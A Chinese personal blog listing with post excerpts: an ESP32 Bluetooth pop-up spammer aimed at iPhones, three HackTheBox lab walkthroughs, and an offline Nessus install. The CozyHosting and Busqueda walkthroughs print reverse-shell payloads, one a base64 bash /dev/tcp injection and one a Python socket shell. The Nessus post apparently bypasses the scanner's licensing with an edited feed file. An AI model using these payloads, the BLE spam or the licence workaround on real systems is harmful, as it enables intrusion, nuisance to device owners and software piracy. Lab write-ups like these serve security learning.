EvilAppleJuice-ESP32

最近发现一个好玩的项目:AppleJuice,它可以让iPhone不停弹窗。但这个项目在Mac上似乎没法运行,不过有人把它移植到了ESP32上——EvilAppleJuice-ESP32。 准备动手 Usage:Clone the repo, and easiest would be to use VS Code w/ PlatformIO to upload it to your ESP32. ESP32是由Espressif开发的一系列低成本、低功耗的片上系统微控制器,集成了Wi-Fi和蓝牙无线功能以及双核处理器。根据项目的推荐,我买了一块合宙ESP32C3,只花了12.9元。 接下来在VS Code里安装PlatformIO,我试过在应用商店里直接安装,总是不成功,可能是网络原因,于是我选择离线安装。 安装完成后PlatformIO还需要下载核心组件,最好挂上代理,不然大概率还会失败: 等待组件下载安装完成后,就可以用PlatformIO打开项目了: 等了两天板子到了,之前还担心没有合适的线连接,结果板子有个type-c口,可以直接用手机充电线连电脑。 尝试用PlatformIO编译上传。编译很顺利,上传的时候遇到了个报错: A fatal error occurred: Failed to write to target RAM (result was 01070000: 经过一番搜寻,ESP32C3在Mac上需要安装驱动才能进行烧录:我下载了CH341SER_MAC.ZIP - NanjingQinhengMicroelectronics,安装又出现报错:程序尝试载入由“Unidentified - CH34xVCPControlDriver”签名的新系统扩展,该扩展需要由开发者更新。 又经过一番搜寻,发现要更改启动磁盘的安全性设置,具体步骤可以参考:https://support.apple.com/zh-cn/guide/mac-help/mchl768f7291/mac 设置完成后烧录还是报错了(^_^)又又经过一番搜寻,发现要在platformio.ini中添加: upload_port = /dev/cu.wchusbserial57280383961 之后就成功烧录了!猜测PlatformIO会自动制定错误的上传口,所以需要写明。 开始动手 现在只需要接入电源,ESP32C3就会向周围的设备广播Apple蓝牙配对信息: 经过实测,影响效果与ESP32C3和iPhone之间的距离成反比,如果设备之间还有遮挡物,效果就更弱了。 看了一下项目中的devices.hpp,它对设备的蓝牙配对信息分成两大类:一类是是耳机配对信息,这些信息需要ESP32C3与设备距离更近才容易触发;另一类是家用设备,如Apple TV、HomePod等,在长距离下表现更佳。 再看看main.cpp: int device_choice = random(2); if (device_choice == 0){ int index = random(17); oAdvertisementData....

November 9, 2023 · fox09

小镇做题家——HackTheBox-Wifinetic

User Flag 常规nmap起手: 扫出ftp匿名访问,还有几个可疑的文件。登陆进去下下来看看: 其中backup-OpenWrt-2023-07-26.tar解压后得到一个名为etc的文件夹,看来就是这个系统的etc文件夹备份,看看/etc/passwd文件: 至少得到了一个名为netadmin的用户,还不差。 在这卡了一会,经过一番搜寻,最终在一个名字为wireless的文件中找到了有趣的东西: VeRyUniUgWiFIPasswrd1! 一个密码。尝试用netadmin结合这个密码登陆ssh: 轻松~ System Flag 一顿常规提权操作未果后,我不禁开始思考:靶机名叫Wifinetic,备份文件叫OpenWrt,密码是VeRyUniUgWiFIPasswrd1!,也许该到Wi-Fi登场了。 仔细看了一下linpeas跑出来的结果: hostapd.conf是一个配置文件,用于设置Linux系统上的一个带加密功能的无线接入点(access point : AP)程序hostapd。hostapd能够使得无线网卡切换为master模式,模拟AP(路由器)功能,作为AP的认证服务器,负责控制管理stations的接入和认证。 喝喝,这我太熟了,况且系统还自带了一个工具,reaver: 它是用来破解WPS密码的工具,到这里几乎可以判断作者的意图了。现在只需要找到AP,并破解它的密码。 使用iwconfig查看无线网络信息: Access Point: 02:00:00:00:00:00,这是AP的BSSID。其中mon0的模式为Monitor,也就是监听模式,所以需要用它来进行破解。 最后使用reaver进行破解: 得到密码,使用root用户登陆后即可拿到flag。(没截图,写文章的时候机器已经不免费了😭)

October 7, 2023 · fox09

小镇做题家——HackTheBox-CozyHosting

User Flag 常规nmap起手: nmap -A 10.10.11.230 在/etc/hosts中添加: 10.10.11.230 cozyhosting.htb 即可正常访问网页: 看了一圈,先搜了Bootstrap相关漏洞,只找到存在XSS;登陆框尝试了常见弱口令和SQL注入,也没啥收获。 只能爆目录试试看: dirsearch -u http://cozyhosting.htb/ 居然存在Spring Boot未授权,先访问http://cozyhosting.htb/actuator/看看: 对照Spring Boot Vulnerability Exploit Check List,没法直接RCE,甚至连信息泄漏都没有……吗? 看看http://cozyhosting.htb/actuator/sessions 嗯?有UNAUTHORIZED,也有kanderson。其中有一个UNAUTHORIZED的值和我的cookie一致,或许直接替换cookie? 之前扫目录还扫到一个admin目录: 直接访问会跳转login目录,现在替换cookie再访问试试: 成功进来了,页面只有一个功能点,分别要求输入Hostname和Username。随便输入点东西试试: ssh: connect to host 10.10.16.6 port 22: Connection timed out,是不是有点眼熟?这不是命令行用ssh连接超时的报错嘛?隐约嗅到命令注入的味道。 经过测试,username字段存在命令注入,nc -lv 9001开启监听,再让username=;echo${IFS}"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjgvOTAwMSAwPiYx"|base64${IFS}-d|bash;: 成功得到shell~用户为app。美滋滋进/home目录准备拿Flag: 结果发现/home下面只有/josh。无奈只能回到/app下,发现有个cloudhosting-0.0.1.jar,下下来看看: 经过一番搜寻,终于在application.properties中找到了postgresql的信息。由于靶机5432端口并未对外开放,只能在靶机上进行连接: 找到了两个密码的哈希,用hashcat跑一个试试: hashcat -m 3200 hash.txt rockyou.txt 跑出admin对应的密码,尝试用来登陆josh: 成功拿到Flag,真难! System Flag 一把嗦了,没啥好说的

September 8, 2023 · fox09

小镇做题家——HackTheBox-Busqueda

User Flag 常规nmap起手: nmap -A 10.10.11.208 扫到22和80端口开放,并存在提示:Did not follow redirect to http://searcher.htb。 直接访问http://10.10.11.208:80则跳转到http://searcher.htb: 直接修改hosts文件: 再次访问http://10.10.11.208:80: 看到下方的Powered by Flask and Searchor 2.4.0,Google搜索一下Searchor有什么漏洞,找到了它:GitHub - jonnyzar/POC-Searchor-2.4.2: eval() Exploit POC for Searchor 2.4.2 and lower 本地运行nc: nc -lv 9001 在搜索框输入: ', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.3',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))# 成功弹shell后获得User Flag~ System Flag 用上次做题学到的sudo -l起手试试: 看来行不通,ls -la看看/var/www/app目录下有什么: http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,一个可疑的链接。 问问ChatGPT: 哦?包含了账号密码?cody:jh1usoih2bkjaspwe92原来是一对账号密码!但有啥用呢,没想明白…… 我在这卡了很久,也用了常见的Linux提权辅助脚本,但并没有什么发现。😭 最终还是回到了sudo -l -S,此时需要输入密码,使用jh1usoih2bkjaspwe92来碰了碰运气: 成啦!svc账号的密码也是jh1usoih2bkjaspwe92。还记得一开始扫描到开放的22端口吗?在后面的操作中可以直接使用ssh连接,得到一个更好的shell。 让我们来看看system-checkup.py是用来干嘛的: 可以看到前两个参数和docker相关,对于解体的作用不详;使用full-checkup参数则报错。 在这又卡了好久,最后切换到/opt/scripts/目录发现在此目录下存在full-checkup.sh,且能正确运行/opt/scripts/system-checkup.py full-checkup: 似乎存在一种可能:full-checkup参数需要调用当前目录下的full-checkup.sh文件。 那么!设full-checkup.sh= #!/bin/bash cat /root/root.txt 再回到/home/svc目录,使用wget http://10.10.16.10:8000/full-checkup.sh,再chmod +x full-checkup.sh,最后sudo /usr/bin/python3 /opt/scripts/system-checkup....

August 19, 2023 · fox09

在macOS上安装Nessus

工作上可能需要用到Nessus,记录一下安装过程。 Nessus官方下载地址:https://www.tenable.com/downloads/nessus 选择macOS版本下载并正常安装。 访问https://localhost:8834,勾选Register Offline 选择Managed Scanner 选择Tenable.sc 等待安装完成后设置账号密码,并登录进入。可以看到现在New Scan还是灰色的,不能进行扫描: 接下来需要从互联网上寻找离线插件包,下载完成后使用nessuscli更新插件: sudo /Library/Nessus/run/sbin/nessuscli update /xxx/all-2.0.tar.gz 此处需要根据实际情况修改插件包路径和名称。 编辑plugin_feed_info.inc文件: sudo vim /Library/Nessus/run/var/nessus/plugin_feed_info.inc 写入以下内容,其中PLUGIN_SET可以根据离线插件包的日期来设置(无强制要求): PLUGIN_SET = "2023xxxxxxxx"; PLUGIN_FEED = "ProfessionalFeed (Direct)"; PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning"; 修改文件权限,否则系统重启后将无法使用: sudo chmod 444 /Library/Nessus/run/var/nessus/plugin_feed_info.inc 重新启动服务: sudo launchctl unload -w /Library/LaunchDaemons/com.tenablesecurity.nessusd.plist sudo launchctl load -w /Library/LaunchDaemons/com.tenablesecurity.nessusd.plist 等待一段时间后就可以愉快使用啦~ 吗? 一开始尝试了最新的10.5.3版本,虽然可以扫描,但无法直接查看扫描结果,换成10.3.0版本后重新安装解决。

July 27, 2023 · fox09